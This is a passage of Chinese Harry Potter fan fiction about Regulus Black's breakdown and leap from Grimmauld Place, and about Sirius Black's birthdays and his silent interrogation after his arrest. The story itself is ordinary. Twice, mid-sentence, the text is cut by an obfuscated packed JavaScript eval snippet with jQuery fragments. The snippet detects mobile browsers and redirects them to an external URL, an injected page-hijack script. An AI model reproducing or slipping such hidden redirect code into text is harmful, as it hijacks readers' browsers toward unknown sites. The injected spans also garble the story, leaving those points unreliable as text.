他的目光看见那些液体,脑海里闪过一些画面,流出来的肠子、断指……忍不住干呕了一声。 “小少爷!”克利切发出惊恐的尖叫,手里的银酒壶“哐当”一声掉在厚厚的地毯上,暗红色的酒液迅速洇开一片污渍。“对不起!小少爷!克利切该死!克利切没有照顾好雷古勒斯少爷!克利切是坏精灵!” 他发出凄厉的哭嚎,毫不犹豫地、用尽全力将自己的脑袋狠狠撞向坚硬的黑木桌腿,发出沉闷的“咚咚”声。 “停下!”沃尔布加沙哑尖利的声音如同鞭子般抽下。 克利切的身影瞬间在原地消失,只留下地毯上那滩刺目的酒渍和空气中残留的惊恐气息。 雷古勒斯勉强抬起头,冷汗顺着苍白的脸颊滑落。他看到母亲脸上毫不掩饰的厌恶和一丝不易察觉的……烦躁?仿佛他的痛苦只是一种不合时宜的、令人尴尬的打扰。 沃尔布加病了。病魔正无情地啃噬着她的身体,家庭医生束手无策,只能含糊地归咎于某种魔法反噬导致的器官衰竭。曾经强势丰满的女人如今瘦得脱了形,苍白的皮肤薄得像纸,透出皮下青紫的血管,松弛的面颊上散布着褐色的老年斑。然而属于布莱克女主人的骄傲依旧牢牢地套在她身上。 她穿着繁复的、一丝不苟的黑色蕾丝长裙,层层叠叠的裙裾沉重地垂落,黑色的头发被一丝不苟地盘成一个紧绷的发髻。枯瘦手指上涂抹着黑色指甲油,上面精心描绘着银色的、细密的藤蔓花纹。 “你该好了,雷尔。”她的声音嘶哑,却带着不容置疑的尖利,像生锈的锯子在木头上拉扯,目光锐利地审视着他苍白的脸,“你已经在家里躲了半年多了。我实在不明白,你这孩子是不是在跟我……”她停顿了一下,似乎斟酌着更严厉的措辞,“……装病?” “抱歉,母亲。”他扯动嘴角,露出一个苍白无力、几乎称不上是笑容的表情:“最近还是会有点应激反应。” “我想,或许我该去圣芒戈找人看看?顺便……也给您做个全面的检查……” “圣芒戈?!”沃尔布加的声音陡然拔高,布满血丝的眼睛死死瞪着他,“你想也别想!那里充斥着那些肮脏的泥巴种带来的病菌!你到底是怎么回事,雷古勒斯?你的脑子也坏了吗?!” 她的愤怒如同实质的冲击波,狠狠撞击着雷古勒斯早已紧绷到极限的神经。他就知道。他就知道会是这个结果。每一次试图沟通的裂缝,都会被这堵名为“纯血统至上”的冰冷石墙彻底封死。他就知道…… “……那我下午联系克雷格医生。”他拿起沉重的银质刀叉,机械地开始切割面前餐盘里那块烤得恰到好处的牛排。锋利的刀刃切开肌理,暗红色的肉汁渗出……他放下了手里的刀叉,发出微弱的撞击声。 沃尔布加在他对面优雅的大块硕朵。两个人一时无言。 “看看这个。”沃尔布加用绢帕极其优雅地擦了擦嘴角,一张崭新的《预言家日报》无声地悬浮起来,精准地飘落在雷古勒斯面前。 雷古勒斯拿起报纸。头版头条的粗黑标题写着:《食死徒落网!克劳奇司长再展雷霆手段!》 好多字。他逃避般的眨了一下眼睛。那些密密麻麻的文字如同扭曲的蚂蚁,在他模糊的视线里爬行、跳跃。他几乎集中了全部的精神才艰难地将目光聚焦。 一遍,两遍,三遍……那些黑白分明的字迹在他眼前过了三遍,他感觉自己才读懂第一段话。但他曾经是阅读很快的那种人,一天就能看完一本书,还能记笔记。 “本报讯 11月2日凌晨,由魔法部法律执行司司长牵头,傲罗办公室精锐小队协同行动,于萨里郡一处废弃磨坊内成功捕获七名在逃食死徒。此次行动历时三月布控,动用“踪丝回溯咒”与“黑魔法残留探测仪”,最终将这伙长期流窜、涉嫌多起恶性案件的罪犯一网打尽。目前所有被捕者已由 dementor(摄魂怪)押送至阿兹卡班最高安全牢房候审,案件将由威森加摩特别法庭审理。 名单及主要罪行如下: “伊莎贝拉·索恩,女,41岁。曾为圣芒戈魔法伤病医院见习治疗师,因滥用“骨蚀咒”(Ossify)迫害三名麻瓜孤儿被除名。此次落网后…… 马库斯·瓦伦,男,53岁…… 莫甘娜·格雷夫莱克…… …… 小天狼星·布莱克。 ……小天狼星·布莱克。被控于伦敦街头使用爆炸咒残忍杀害十三名麻瓜,并蓄意谋杀其好友彼得·佩迪鲁,当场被捕,现已关押至阿兹卡班候审……” 时间仿佛凝固了。血液冲上头顶,又在瞬间褪得干干净净,留下彻骨的冰冷和一片嗡嗡作响的空白。小天狼星……阿兹卡班……杀人……荒谬!这不可能!巨大的震惊和一种本能的、被背叛的刺痛感瞬间攫住了他。他哥哥或许叛逆、或许愚蠢地选择了波特,但他绝不可能……绝不可能对朋友下手!更不可能去杀那么多麻瓜! “卢修斯那好孩子特意来问了我,问我要不要为那个逆子‘周转’一下。”她优雅地啜饮了一口杯中的红酒,猩红的液体在她苍白的唇边留下一抹诡异的痕迹,“虽然不清楚具体发生了什么,但克劳奇这次倒算是做了件好事。” 她嘴角勾起一个刻薄的的弧度,仿佛谈论的不是她十月怀胎生下的长子,而是一个终于被清理掉的、令人作呕的污点。 “那个逆子就该烂在阿兹卡班!” “我说你,雷尔。”沃尔布加锐利的目光再次转向他,像两道冰冷的探照灯,将他钉在原地,“再休息一段时间,你也该干点正事了。” 正事?雷古勒斯猛地垂下眼睑,长长的睫毛在苍白的眼下投下一小片阴影,什么是正事? “贝拉不相信黑魔王真的消失了,我其实也是不信的。他们现在正在寻找他……下一周要出发了,目的地是……你去……” 梅林啊…… 雷古勒斯在心底无声地呐喊,闭上了眼睛。为什么你还不懂?为什么你还能如此平静地谈论这些? 他味同嚼蜡地往嘴里塞了几口冰冷的食物,机械地咀嚼着,却尝不出任何味道。身体沉重得像灌了铅,几乎是拖着脚步走上了那盘旋而上的楼梯。 他妈妈疯了。沃尔布加·布莱克彻彻底底地疯了。这个念头从来没有这么清晰过。 小天狼星早就这样嘶吼了,用尽一切激烈的言辞。但那时的雷古勒斯反而觉得是哥哥错了,是他被波特那群人蛊惑了心智,是他不懂得布莱克家族的责任与荣耀。他不理解哥哥为何如此抗拒这座象征古老荣光的宅邸,不理解他为何总要像只刺猬一样,竖起尖刺对抗整个世界。 他回家之后,并非没有向母亲透露过黑魔王手段的残暴,那些针对孕妇、针对婴儿的恐怖袭击……沃尔布加当时只是微微扬起她那保养得宜的下巴,冷淡地问了一句:“那些孕妇……是纯血统吗?” 纯血统吗?纳西莎表姐六月顺利诞下马尔福家的继承人,被严密地保护在马尔福庄园的铜墙铁壁之后,沃尔布加也多次关心。那么隆巴顿家的孩子呢?当他提及隆巴顿夫妇的围追后,他母亲只是轻蔑地撇了撇嘴,用那种谈论天气般的口吻评价:“那个孩子?哼,隆巴顿家的血脉本就不堪,八成以后是个哑炮。黑魔王大人……倒是有先见之明。” 雷古勒斯猛地推开了小天狼星曾经的房门。 灰尘扑面而来。随即是一片无比刺目的金红色。墙壁上,被施了永久粘贴咒的麻瓜女郎海报正对着他放肆地笑着,露出健康洁白的牙齿。窗帘敞开着,露出外面纷纷扬扬的大雪。 就是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091959|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这扇敞开的窗户前,六年级的小天狼星,穿着他那些“离经叛道”的麻瓜衣服,背对着房间,卷曲的黑发被风吹得飞扬。他回过头,对着房间里的他露出一个充满不屑、却又无比耀眼的笑容,英俊、高傲,比最闪耀的星辰还亮。雷古勒斯觉得自己永远做不来这样的表情。 小天狼星的身体向后倒了下去!雷古勒斯记得自己当时像疯了一样冲过去,心脏几乎要跳出喉咙,他伸出手,徒劳地抓向那急速坠落的身影…… 他冷漠的向窗户下面看去。 “雷尔!——” 这里是三楼,狂风糊住了他的视线,地面上白茫茫的一片。 “跳下来!——” 他看到年幼的小天狼星站在格里莫广场庭院里的雪地上,仰着头,张开小小的手臂,眼神亮晶晶的。“别怕!我会接住你的!快跳!” 詹姆·波特骑着那辆该死的飞天摩托,在半空中险之又险地抓住了哥哥的手臂。小天狼星坐在后座,风灌满他的衣衫,那一刻,他像一只终于挣脱了锁链、振翅飞向自由的鸟儿。而雷古勒斯的手指,只来得及触碰到哥哥被风吹起的、冰冷的衣角。 “别怕!雷尔——雷古勒斯——” 我可没有你那么好的朋友。 “那个逆子就这么呆在阿兹卡班好了!”母亲冷酷的诅咒在现实与回忆的交界处尖锐地回想。 “快来!不然我不等你了!——” “你如果告诉你的哥哥这个观点,说不定他离家出走的时候,会为了厨房里的小精灵多犹豫那么几秒钟。”哥哥的室友站在台阶上居高临下的看着他,话语戳中了他内心最疼痛的地方。“就像今天在球场上,你如果告诉罗齐尔你的疑虑——比如强攻比‘镜像’更有效——说不定最后抓住飞贼的人,就不会是我们了。” “我真的不等你了——” 小天狼星的催促声,穿透了十几年的时光,最后一次,清晰地响在他耳边。 过去与现在,温暖与冰冷,承诺与诅咒,自由与囚笼……无数的声音、无数的画面在他混乱的脑海中疯狂交织、碰撞、碎裂! “轰——!” 理智的弦彻底崩断。 雷古勒斯·布莱克,这个从小被教导要优雅、克制、永远保持布莱克风范的年轻人,像一片被狂风卷起的、轻盈却绝望的雪花,朝着那扇敞开的、象征着哥哥逃离路径的窗户,毫不犹豫地纵身跃下! …… 寂静。 …… 是麻瓜交通工具(汽车)的鸣笛声音。 …… 疼。 尖锐的、钝重的疼痛从身体各处传来,像无数根针同时扎下,又像沉重的石碾滚过。冰冷的空气猛地灌入肺腑,带来一阵剧烈的呛咳。他努力地、艰难地睁开沉重的眼皮。 视野里,是伦敦铅灰色的、飘着细雪的阴沉天空。没有尖叫,没有咒语的光芒,没有飞天摩托。他落进了格里莫广场12号前庭花园厚厚的积雪里。柔软的雪层缓冲了坠落的力道,也吞噬了所有的声音。 他现在都不知道年幼的小天狼星到底能不能接住他,因为幼年时,他瑟缩了,害怕了。但现在,这片他从未真正抬头仰望过的、广阔而冷漠的天空,接住了他。 路上的麻瓜行色匆匆,裹着厚厚的冬衣,呼出的白气瞬间消散在寒冷的空气里。没有人注意到庭院里这个仰面躺在雪地里的怪人,一个接一个地从他身边走过,踩在积雪覆盖的人行道上,发出“咯吱咯吱”的声响。从这个角度,雷古勒斯第一次清晰地看到了格里莫广场12号的全貌。 这座由他父亲倾注心血、施加了无数古老强大防护咒语的宅邸,布莱克家族荣耀的象征,此刻在他眼中却呈现出前所未有的景象。精美的雕花窗棂在冬日的萧瑟中显得格外脆弱,华丽的门楣上缠绕着枯死的藤蔓,如同垂死的巨蟒。整栋建筑在灰暗的天光下透出一种难以言喻的衰败气息,像一座精心修饰的巨大坟墓,被岁月的枯枝败叶所覆盖。 他一直被关在这座坟墓里面,被天鹅绒窗帘、银质餐具、祖先画像和母亲尖利的声音包围着,所以他看到的只有那些被强行维持的、金玉其外的“荣华富贵”。而小天狼星,他那个被他抨击“疯了的”哥哥,早就跑到了外面。所以他看到的,一直都是这样的景象——看到路上这些为了生计奔波的麻瓜,看到他们平凡却充满生命力的生活;看到格里莫广场12号在真实世界里的位置,看到它华丽外表下无法掩饰的腐朽和颓败。 一个无声的、带着泪意的笑容在雷古勒斯冰冷的唇边缓缓绽开。不是喜悦,而是一种彻悟后的荒诞与释然。原来疯的不是哥哥,是困在塔楼里的自己。 他挣扎着,不顾全身骨头都在呻吟抗议,顽强地从冰冷的雪窝里站了起来。厚厚的积雪淹没了街道原有的轮廓,踩上去发出沉闷而清晰的“咯吱”声。他在人行道上留下了一长串深深浅浅、歪歪斜斜的脚印,每一步都深深陷入雪中。冰冷刺骨的空气被他大口吸入肺腑,带来一种近乎自虐的清醒。 该死的人太多了。埃弗里、罗齐尔、莱斯特兰奇……黑魔王…… 还有他自己。雷古勒斯·布莱克,一个被纯血统荣耀诅咒的懦夫,一个灵魂已经被玷污了的帮凶。 但也许他还有最后一点用处。 他颤抖的手指下意识地隔着衣服按住了口袋——那里贴身放着那个灼热的挂坠盒。也许,他能用这具躯壳,去换回小天狼星的清白。 他会被傲罗们抓住,会被审讯,会直接被杀死。 但他甘冒一死。 这个念头像黑暗中燃起的一点微弱却坚定的星火。他不再犹豫,不再回头看一眼那座巨大的、华丽的坟墓。他迈开脚步,朝着魔法部的大致方向走去。雪还在下,纷纷扬扬,落在他黑色的头发和单薄的肩头。他的背影在空旷寂寥、被白雪覆盖的街道上显得异常渺小、单薄,仿佛随时会被风雪吞噬。 然而,一种奇异的、前所未有的感觉却从冰冷麻木的四肢百骸深处升腾而起,驱散了所有的寒冷和疼痛。 自由。 他从未像此刻这样,感觉自己真正地活着,踏在雪地上沉重的每一步声响,都像是一声挣脱枷锁的宣告—— 他真正地自由了。 30.黑狗与老鼠 小天狼星·布莱克在上学之前,曾对“生日”这个词深恶痛绝。 因为那从来不是属于他的日子,而是属于“布莱克家族”的一场表演。身为奥赖恩和沃尔布加的长子,你的生日绝不能沾染一丝孩童的嬉闹与自由。它被赋予的意义沉重得如同格里莫广场12号那压得人喘不过气的挂毯——彰显纯血统的荣耀,巩固家族的人脉,以及,在沃尔布加和奥赖恩·布莱克冰冷的审视下,证明你配得上那古老而纯洁的姓氏。 他没什么选择的权利。宴会上的每一道精致却冰冷的菜肴(他私下里觉得它们尝起来都像蜡),邀请的每一位同样高傲或谄媚的纯血统嘉宾(他只想朝他们做鬼脸),甚至他被迫背诵的冗长、虚伪至极的演讲稿,都由他的父母一手包办。 生日前夕,他总会被早早从床上拽起,套进华贵却勒得他呼吸不畅的礼服里,像个提线木偶般被反复排练那些空洞的赞美词和对家族忠诚的宣言。宴会上,必须时刻挺直背脊,嘴角挂着那个被训练了无数次、弧度精准的“得体”微笑,穿梭在宾客间,扮演一个完美的、早熟的小主人。连吃东西都是一种煎熬——再饿也不能多吃,哪怕你赌咒发誓汤汁绝不会玷污那身昂贵的袍子。他感觉自己更像一件被精心擦拭、展示的家族银器,而非一个有血有肉、渴望玩耍的男孩。 一年级时,他近乎偏执地隐藏了自己的生日。那种在喧闹人群中品尝到的、深入骨髓的孤独感,他不想再经历一次。宿舍里有五个男孩,他和詹姆·波特几乎一见如故,像两块天生契合的磁石。 “嘿,你生日到底什么时候?我们得好好庆祝一下!”詹姆经常问他这个问题。 每一次,小天狼星都用他一贯的懒散态度糊弄过去——“忘了”,“大概夏天吧”,“那不重要”。 直到詹姆像个固执的侦探,整整一天寸步不离地跟着他,从早餐的南瓜汁到晚餐的布丁,眼睛一眨不眨地盯着他,最后才挫败又好笑地得出结论:“梅林的胡子!你该不会偷偷喝了缩身药水才混进一年级的吧?”小天狼星被他那副认真的傻样逗得翻了个白眼,最终无奈地吐出了那个日期。 “我不明白,”詹姆皱起眉,棕色的眼睛里是真切的困惑,“你为什么不愿意过生日呢?大家一起聚在一起,有蛋糕吃,还可以用奶油大战,多有意思!爸爸妈妈那天不管怎么样都不会骂你,多好!” “因为我不像你一样幼稚。”小天狼星没好气地回敬。然而,内心深处一个更真实、也更沉重的声音在低语:因为我的父母在那一天只会变本加厉地挑剔、责骂。因为环绕我的,从来不是朋友,而是些让我厌恶的‘同类’。格里莫广场的阴影,即使在阳光灿烂的霍格沃茨,也顽固地缠绕着他。 詹姆似乎把这件事当成了某种友谊的考验,一个必须跨越的坎。他认定小天狼星是他最好的朋友,怎么能让朋友的生日无声无息地溜走?这念头让他坐立不安。 “嘿!”一天晚上,詹姆的眼睛在黑暗中兴奋地发亮,“你想生日那天去夜游么?”他压低声音,带着一种分享秘密的兴奋,“你不想干别的,不想大声声张,就我们两个人,偷偷的……嗯,先去探秘一下霍格沃茨的厨房怎么样?我打赌家养小精灵那儿肯定有好东西!” 于是,小天狼星·布莱克迎来了人生中第一个真正属于自己的生日,在一个狭小、温暖、弥漫着食物香气的厨房角落度过。没有礼服,没有演讲,没有冰冷的注视。只有他和詹姆,两个毛头小子,分享着一块家养小精灵偷偷塞给他们的、歪歪扭扭但甜蜜无比的小蛋糕。 蛋糕最后没吃完——因为詹姆突然抓起一把奶油,精准地抹在了小天狼星高挺的鼻子上,画了个滑稽的鬼脸。小天狼星一愣,随即爆发出真正的、毫无负担的大笑,毫不犹豫地抓起奶油反击。一场小规模的“奶油大战”在厨房角落爆发,快乐得肆无忌惮。当然,这份肆无忌惮的代价是——他们被夜巡的级长抓了个正着,被罚去擦拭走廊里所有能找到的霍格沃茨徽章,直到深夜。但擦着那冰冷的金属,小天狼星嘴角的笑意却久久没有散去。那是一种混合着恶作剧得逞的快意和一种前所未有的轻松感。 二年级,他的弟弟雷古勒斯入学了。生日前夕,雷古勒斯在走廊里拦住了他。小天狼星难得没有立刻摆出不耐烦的神情,因为他前一天刚偷听到詹姆兴致勃勃地和莱姆斯计划着要在格兰芬多公共休息室给他一个“惊喜派对”——这个念头让他既有点别扭,又隐隐有些期待。 “什么事?”小天狼星问,语气是少见的平和。 雷古勒斯显得有些局促,从袍子里拿出一个包装精致的盒子:“我给你……不是……妈妈给你订了一个蛋糕,送到了我这里。”他停顿了一下,声音更低了些,“她希望你今年能……来跟我一起过。我会……带你进去,晚一点也行。” 期待瞬间冷却,熟悉的厌恶感涌上心头。“哦,还是免了。”小天狼星的声音恢复了惯常的冷淡和满不在乎,带着明显的轻蔑,“我才不会踏进那个蛇窝一步。” “小天狼星!”雷古勒斯的脸涨红了,声音因气愤而拔高,“你的家人都是斯莱特林的!” “你不知道么?”小天狼星嗤笑一声,转身就走,把弟弟和那个他觉得伪善的蛋糕抛在身后,留下一个决绝的背影,“我讨厌斯莱特林。” 这句宣告斩钉截铁。 其实在更小的时候,他对父母,对弟弟,并非没有过微弱的期待。期待一句认可,一个不那么冰冷的眼神,一次像普通家庭那样的生日拥抱。 但父亲的沉默是深渊,母亲的尖叫是鞭笞,雷古勒斯一次次的拒绝和回避……第一次失望时,他还能找理由安慰自己。次数多了,那些期待就像被粗糙的砂纸反复打磨,连带着心的一部分也磨损殆尽,只剩下尖锐的棱角和冰冷的防御。他有时对着盥洗室里华丽的镜子,看着那张完美继承了布莱克家族俊美轮廓的脸,一种毁灭的冲动会莫名涌现——真想用指甲划烂它,仿佛这样就能撕掉那层令人窒息的家族烙印。 但那时,他还没想过要彻底离开。没有一个孩子会轻易想着主动斩断与家的联系,哪怕那个家如同牢笼,他内心深处依然残留着一丝对“家”这个概念的、模糊的眷恋。 三年级的生日成了一个转折点。那年他是在安多米达的家里度过的。 那个暑假,安多米达被家族囚禁了。布莱克们无法容忍她爱上了一个麻瓜出身的巫师——泰德·唐克斯,即使泰德成绩优异,是霍格沃茨的级长,这些闪光点在家族顽固坚持的“纯血统至上”面前,变得一文不值,甚至是一种耻辱。他们想强迫她嫁给那个古板傲慢的拉巴斯坦·莱斯特兰奇。家族的愤怒如同实质的火焰,灼烧着每一个试图反抗的人。 小天狼星做了一件惊世骇俗的事——他帮助安多米达逃了出去。安多米达被关在一个窄小的房间,近乎是虐待。那一刻他清楚的意识到——他们疯了。 他骨子里的叛逆和对这种压迫的痛恨,混杂着看着安多米达就好像看见了自己未来一样的恐惧,在那个时刻压倒了对家族惩罚的惧怕。 “你不该这么做。”事后,雷古勒斯找到他,脸上写满了不赞同和忧虑。 “那你去告诉沃尔布加啊。”小天狼星对他冷笑,灰色的眼睛里是毫不掩饰的挑衅和破罐破摔的决绝。他知道后果,但他不在乎了,或者说,他这一刻觉得任何地方都比这里安全。 但雷古勒斯最终保持了沉默,没有去告发。小天狼星在那一刻看清了弟弟的本质——不是勇敢的反抗者,而是夹在中间、试图维持平衡的妥协者。Soft(软弱)。他在心里给弟弟下了定义,带着一丝不易察觉的失望和轻蔑。 为了感谢他,获得自由的安多米达邀请他到她和泰德那间充满爱意与阳光的小公寓过生日。餐桌上没有银质餐具,只有简单的家常菜和安多米达亲手烤的、有点烤焦了边的蛋糕。在温暖的灯光下,安多米达平静地告诉他,自己的名字已经被愤怒的布莱克夫人从家族挂毯上烧掉了,那个象征着纯血统荣耀的印记永远消失了。 “想要真正的自由,西里斯,就只能逃离。彻底的离开。” 这句话像一颗种子,深深埋进了小天狼星叛逆的土壤里。 也是在三年级,他和詹姆、彼得为了帮助莱姆斯,完成了阿尼马格斯的修炼。掌握了强大魔法,他愈发有脱离家族的底气。四年级、五年级……接下来的每一年生日,尖叫棚屋都成了他们的秘密基地。那里足够偏僻、足够“恐怖”,能完美避开教授们的耳目。在布满抓痕的房间里,四个少年分享着从厨房拿来的美食、黄油啤酒,用恶作剧产品互相捉弄,谈论着未来,嘲笑着斯莱特林和一切他们看不惯的东西。那间破败的小屋,充满了自由的气息、伙伴的笑声和属于他们自己的、纯粹的快乐。 这里没有布莱克,只有大脚板。还有尖头叉子、虫尾巴和月亮脸。 当詹姆询问他是否愿意加入凤凰社,对抗日益猖獗的黑魔势力时,小天狼星没有丝毫犹豫。这不仅是为了守护他所珍视的魔法世界和朋友,更是他所能想到的、与自己厌恶的家族以及他们所信奉的那套纯血理论最彻底、最有力的对抗方式。他渴望战斗,渴望证明自己的选择。只是在每一次行动前,他会下意识地在心底默默祈祷:别碰上雷古勒斯。他可以毫不留情地对付任何一个食死徒,但弟弟?……不行,谁都可以,除了雷古勒斯。这份复杂的情感,连他自己也说不清道不明,是残存的血缘羁绊?是对那个“soft”弟弟最后一丝的保护欲?还是不愿面对兄弟相残的残酷?或许都有。 他听见魔法部的狱警说,今天是11月2日。 他追捕了彼得整整一天,然后在麻瓜街道上被傲罗小队制服,关进了魔法部这间冰冷、绝望的审讯室。旁边犯人的尖叫丝丝缕缕地渗透进来,贪婪地舔舐着他所剩无几的快乐。 他的心已经不是一个破碎的容器,而是一个彻底吞噬一切光线的黑洞。彼得跑了……那个卑劣的叛徒,像老鼠一样溜走了!他没能亲手撕碎他,没能为詹姆和莉莉报仇! 不……错了,全都错了!心里另一个声音说道:明明你自己才是那个罪魁祸首!是你轻信了彼得那个懦夫的表演;是你,因为那可笑的怀疑,绕过了忠诚可靠的莱姆斯,把波特一家、把哈利最致命的秘密,交到了叛徒的手上!你才是害死詹姆和莉莉的源头! 他曾敏锐地察觉到了危险的气息。邓布利多似乎有意将哈利直接推向风口浪尖,这让他不安;于是他停止了对邓布利多的汇报,执意让詹姆和莉莉搬离了原来的安全屋,他带着詹姆莉莉远离了巫师界。 他也曾怀疑过莱姆斯,在那段凤凰社信息频频泄露、而莱姆斯又总能有完美不在场证明的黑暗日子里,猜忌像藤蔓一样缠绕着他的心…… “敏锐是你的天赋,西里斯,”多卡斯·梅多斯曾担忧地看着他,“但别让它变成无休止的警惕与怀疑,最终变成扎向你自己和你所关心之人的利刃。” 她的话一语成谶,如今像最残酷的判词,回响在他耳边。他的“敏锐”导向了最致命的错误判断,害死了最好的朋友。 门开了。 一张熟悉却又因时间而陌生的面孔出现在他面前。德蒙特。对,他差点忘了,他们宿舍的五个人里,这个好学生毕业后进了魔法部,就在法律执行司。拿他会出现在这里倒也不意外了。只是昔日同窗的情谊,在此刻只显得更加讽刺。 “你背叛了詹姆和莉莉吗?”埃米洛没有任何寒暄,开门见山,问话像一记重锤砸在死寂的空气里。他灰蓝色的眼睛紧紧盯着审讯椅上形容枯槁的小天狼星,“你最终还是向布莱克家屈服了?做了神秘人他们的内应?” 这个指控精准地戳中了小天狼星最深的痛处和逆鳞——将他与他所唾弃的血脉和立场强行捆绑。 小天狼星沉默着,像一尊被绝望冻结的雕像。他拒绝开口,拒绝向魔法部、向这些在他看来要么是蠢货要么是投机者的“伪君子”们解释任何事。尤其是对眼前这个代表着官方机器的室友。 他更换保密人的最初念头,正是源于得知巴蒂·克劳奇,竟然和邓布利多有着相似的冷酷打算:将还是婴儿的哈利视为对抗黑魔王的“武器”送上战场。这种冰冷的算计,让他本能地排斥和不信任整个体系。 “我知道你在听。”埃米洛握住他栏杆上的一只手,“如果你有什么冤屈……你可以快一点告诉我,见你本身是违规的,我不能呆太久!” 冤屈?我没有冤屈。小天狼星仍旧一动不动。 “你如果继续保持沉默,我不介意对昔日的老同学用点强硬手段。” 他举起了魔杖,杖尖闪烁着危险的光芒。是摄神取念?还是钻心剜骨?他不在乎了。 埃米洛魔力凝聚的瞬间,他那因极致的痛苦、抗拒和自我封闭而变得异常坚固的大脑封闭术自动爆发了。那不是有意识的防御,而是灵魂深处绝望呐喊形成的屏障。一股强大的、无形的力量猛地将埃米洛撞飞出去,重重砸在冰冷的墙壁上。 “咳咳……!”埃米洛有些狼狈地爬起身,一把擦掉嘴角渗出的血丝,他的眼神中闪过愤怒,飞快走上前,双手用力抓住牢房的铁栏杆,指节发白。 “莱姆斯·卢平!他在外面奔走,他想争取给你一场公正的审判!你听到了吗?他很不容易,你知道卢平他没什么钱!” 莱姆斯……卢平…… 这个名字像一把烧红的烙铁,狠狠烫在小天狼星的心上。莱姆斯,那个永远温和、永远在承受不公的狼人朋友。五年级时,他就对不起他,现在依然。 在詹姆莉莉生死攸关的时刻,他怀疑了他!他因为那些捕风捉影的“不在场证明”,就绕过了这个最忠诚的朋友,把致命的信任交给了彼得!巨大的愧疚如同海啸将他淹没,几乎让他窒息。他该怎么面对莱姆斯?怎么向他坦白自己那愚蠢、致命的猜疑?怎么告诉他,正是自己的不信任,间接导致了惨剧的发生?他配不上莱姆斯的信任和奔走。 “哈利……在哪里?”他终于艰难地开口,声音沙哑得如同砂纸摩擦。这是他唯一还关心的事情,是他残存理智的最后支点。 “在他姨妈家,德思礼家。”埃米洛下意识地回答,随即立刻追问,“听着,如果你对哈利还有一丝一毫的歉意……无论你是不是叛徒,你现在必须告诉我真相!告诉我那天晚上到底发生了什么!一切细节!” 他的语气带着一种抓住救命稻草般的急切,“不然我们没办法帮你!莱姆斯、邓布利多……没人能帮你!” 帮我? 小天狼星的嘴角扯出一个比哭还难看的、充满自嘲的弧度。这句话本身就像一个天大的笑话。他需要什么帮助?他活着就是一种错误,一种对逝者的亵渎。现在知道哈利在莉莉的血亲保护下暂时安全,他心头最后一块巨石落了地。接下来,他唯一的使命就是赎罪。 阿兹卡班?摄魂怪的吻?他坦然接受。他不需要救赎,也不配得到救赎。他的生命,早该随着戈德里克山谷的那场爆炸,与詹姆和莉莉一同逝去。詹姆走了,再也不会有人像在霍格沃茨厨房那样,用奶油糊他一脸,拉着他进行一场疯狂的夜游来庆祝生日了。他的世界已经随着那声爆炸崩塌,留在这里的只是一具等待惩罚的空壳。 “同莱姆斯……”他再次开口,声音微弱却清晰,带着一种交代后事般的疲惫,“多去看看哈利。” 这是他最后的、唯一的请求。 他不配做哈利的教父。那个充满责任和爱的身份,他早已亲手玷污。莱姆斯会做的很好的,至少他从未辜负过詹姆的信任。 -- “什么情况?”审讯室厚重的门刚一关上,一直紧张地守在门外望风的伯莎立刻冲了过来,压低声音急促地问。 “……一句话也不肯说。”埃米洛抬手用指关节用力按了按突突直跳的太阳穴,声音里透着挫败和一丝不易察觉的疲惫,“他的大脑封闭术像一块被绝望和痛苦浇筑成的铁板。摄神取念根本进不去。” 他轻轻摇了摇头,眼神晦暗,“那份直接送他去阿兹卡班的命令我压不住了。需要五个高级官员签名,现在已经签了四个了,克劳奇一直在催。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123178|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “梅林……”伯莎叹了一口气。 “你知道么?”埃米洛忽然转过头,转移了话题,“司长今天早上‘特意’提醒我,该换一个新的公文包了。说我的旧包‘有损未来形象’。” “恭……”伯莎下意识地想客套。 “克劳奇对即将到来的部长选举势在必得。”埃米洛的眼神扫过空无一人的走廊,“他上任,我们这些嫡系下属的职务……自然也会跟着水涨船高。你很快可能就能当上部长秘书了。” “哎……别说这个了。你和阿米莉亚当然可以了。但我上面还有现在米里森旁边那个老女人跟我抢呢……到时候只能苟富贵,勿相忘了。” “不是……这是现在该讨论的重要事情吗?”伯莎难以置信地瞪大了眼睛,指了指埃米洛身后那扇紧闭的、象征着巨大麻烦的门,“我们不是应该先解决这个……布莱克的事?他可是杀了十三个人,包括彼得!可怜的彼得……” 她的声音里带着对小矮星彼得的真切同情。 “你主张他无罪?”埃米洛带着一丝试探问道。 “当然不是!”伯莎立刻像被踩了尾巴一样跳起来反驳,脸上浮现出愤懑,“我讨厌死他了!你知道他在学校怎么说我的吗?‘傻乎乎的’、‘没有头脑’、‘爱东打听西打听的八卦精’……梅林在上!”她挥舞着手臂,“说一个拉文克劳傻?这简直是最大的侮辱!要不是……要不是他的八卦消息总是很值钱,总有女孩子愿意花大价钱找我买,我才不会……” 她似乎意识到说漏了嘴,声音戛然而止。 埃米洛的眉毛越扬越高。 “而且我和彼得才是朋友!你知道的吧,还是你介绍我们认识的。”伯莎像是找到了更有力的论据,挺起胸膛,“他多善良,多耐心啊!他教会了我守护神咒!足够让我在N.E.W.Ts考试上拿到不错的加分了!而且他一直在战斗……他值得一枚梅林勋章!” “所以……你和他一直有联系?”埃米洛敏锐地抓住了关键点,“你知道他是凤凰社成员?学姐,这很危险……!” 